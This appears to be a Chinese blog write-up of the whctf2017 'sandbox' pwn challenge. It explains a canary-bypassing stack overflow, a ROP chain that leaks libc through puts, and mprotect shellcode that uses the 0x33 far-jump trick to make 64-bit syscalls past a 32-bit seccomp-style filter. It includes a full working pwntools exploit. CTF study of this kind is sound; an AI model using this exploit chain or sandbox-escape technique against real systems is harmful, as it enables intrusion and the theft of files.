pwn学习之三

whctf2017的一道pwn题sandbox，这道题提供了两个可执行文件加一个libc，两个可执行文件是一个vuln，一个sandbox，这是一道通过沙盒去保护vuln不被攻击的题目。

用ida打开vuln：

进入80485CB函数：

这里s给的空间是48但是输入是直到换行停止，这里就存在了栈溢出。但是这道题目开了CANARY，所以不能直接覆盖到返回地址。注意到这题，s的空间下面就是v5，而v5是控制写到s的位置，所以可以通过覆盖v5到返回地址而绕过修改那段Cookie，在不开sandbox的情况下拿shell的办法为：

1.覆盖返回地址为puts函数的plt表地址，由于这样跳转少了一个call函数也就是没有push返回地址，所以对于puts函数执行完的返回地址就是进入这个函数时的esp地址的下一个地址，然后再下一个地址就是puts函数的参数，第一次提交'a'*0x30+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got)这样就会在执行到函数retn时去执行puts(puts_got)然后再返回到main函数中去。

2.拿到了puts函数的实际地址再通过libc文件去拿到system函数的实际地址，再到第二次输入把/bin/sh写到内存中去，也就是调用read函数，提交'a'*0x30+p8(0x48)+p32(read_plt)+p32(main_addr)+p32(0)+p32(0x0804a02c),这样在执行完函数时会返回到read函数，接着输入'/bin/sh'就将字符串写到了0x0804a02c里。

3.最后调用system函数，参数为0x0804a02c即可拿到shell。

sandbox程序通过系统调用号限制了一些函数的使用，如execve、open、clone、vfork、create、opennat等，同时还会不停杀死新的进程。要绕过沙盒要知道两点，一是32位的系统调用号和64位的系统调用号不同，二是可以在32位进程中使用64位的系统调用要用到CS寄存器。

在CPU处于保护模式下运行时，CS其实是段选择器，通过CS的值去找描述符表内对应的代码段基址。这里参考资料：https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html

所以我们要做的就是把CS寄存器从0x23变成0x33，这个需要通过远跳转来实现，即jmp 0x33:addr。知道了如何跳到64位还要知道32位和64位系统调用时的情况，在32位系统中，是通过int $0x80进入系统调用，eax为系统调用号，参数依次放在ebx,ecx,edx中，而在64位系统中，是通过syscall进入系统调用，rax为系统调用号，参数依次放在rdi,rsi,rdx中。

那么这道题的解题过程为：

1,2两步同上(2中将写入/bin/sh改为写入./flag)。

3.通过puts函数实际地址和libc拿到mprotect函数的实际地址，通过mprotect函数去申请一个内存页为可读可写可执行，提交p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7)，这样将0x0804a000变为了可执行的内存段。

4.通过read函数向0x0804a000中写入代码同时设置返回值为0x0804a000，这样read函数运行完后即可到0x0804a000去执行写入的代码（这里由于sandbox会不断的杀死新的进程，所以并没有使用execve函数而是使用了open,read,write函数将flag文件读取到终端上显示）。

exp:

from pwn import *
context(arch='i386',os='linux',endian='little')
context.log_level='debug'
                                                                                                                                      
def game_start(p,libc):
    puts_plt=0x08048470
    puts_got=0x0804A018
    main_addr=0x0804865B
    read_plt=0x08048440
    payload='a'*48+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
    p.sendline(payload)
    print p.recvline()
    re = p.recv()
    puts_addr = u32(re[:4])
    print hex(puts_addr)
    data_addr = 0x0804A02C
    payload='a'*48+p8(0x48)
    system_addr = puts_addr-libc.symbols['puts']+libc.symbols['system']
    mprotect_addr = puts_addr-libc.symbols['puts']+libc.symbols['mprotect']
    print hex(system_addr)
    payload+=p32(read_plt)+p32(main_addr)+p32(0)+p32(data_addr)+p32(0x40)
    p.sendline(payload)
    print 'before:'+p.recvline()

    p.send('./flag')
    payload='a'*48+p8(0x48)
    payload+=p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7)
    p.sendline(payload)
    print 'third puts s:'+p.recvline()
    payload='a'*48+p8(0x48)
    payload+=p32(read_plt)+p32(0x0804ab00)+p32(0)+p32(0x0804ab00)+p32(0x200)
    p.sendline(payload)
    print 'fourth puts s:'+p.recvline()
    payload=asm('jmp 0x33:0x0804ab20',arch='i386').ljust(0x20,'x90')
    shellcode64 = '''
    BITS 64
    org 0x0804ab20
    mov rdi, 0x0804a02c
    xor rsi, rsi
    mov rax, 2
    syscall
    mov rdi, rax
    mov rax, 0
    mov rsi, 0x0804a900
    mov rdx, 0x100
    syscall
    mov rdx, rax
    mov rdi, 1
    mov rsi, 0x0804a900
    mov rax, 1
    syscall
    mov rdi, 0
    mov rax, 60
    syscall
    '''
    f = open('shell64.asm', 'wb')
    f.write(shellcode64.strip())
    f.close()
    os.popen('nasm -f bin -o shell64 shell64.asm')
    f = open('./shell64', 'rb')
    d2 = f.read()
    f.close()
    payload+=d2
    p.sendline(payload)
    p.interactive()

if __name__=='__main__':
    debug=1
    if debug==1:
        p=process('./vuln')
        #p=process(['./sandbox','./vuln'])
        libc=ELF('./libc-32.so')
    else:
        p=remote('118.31.18.145',20004)
        libc=ELF('./libc.so.6')

    #gdb.attach(p,'b *0x0804863F')

game_start(p,libc)

sandbox题目下载地址：https://files.cnblogs.com/files/lllkh/68025091-fb40-4281-83ea-230331c1448a.gz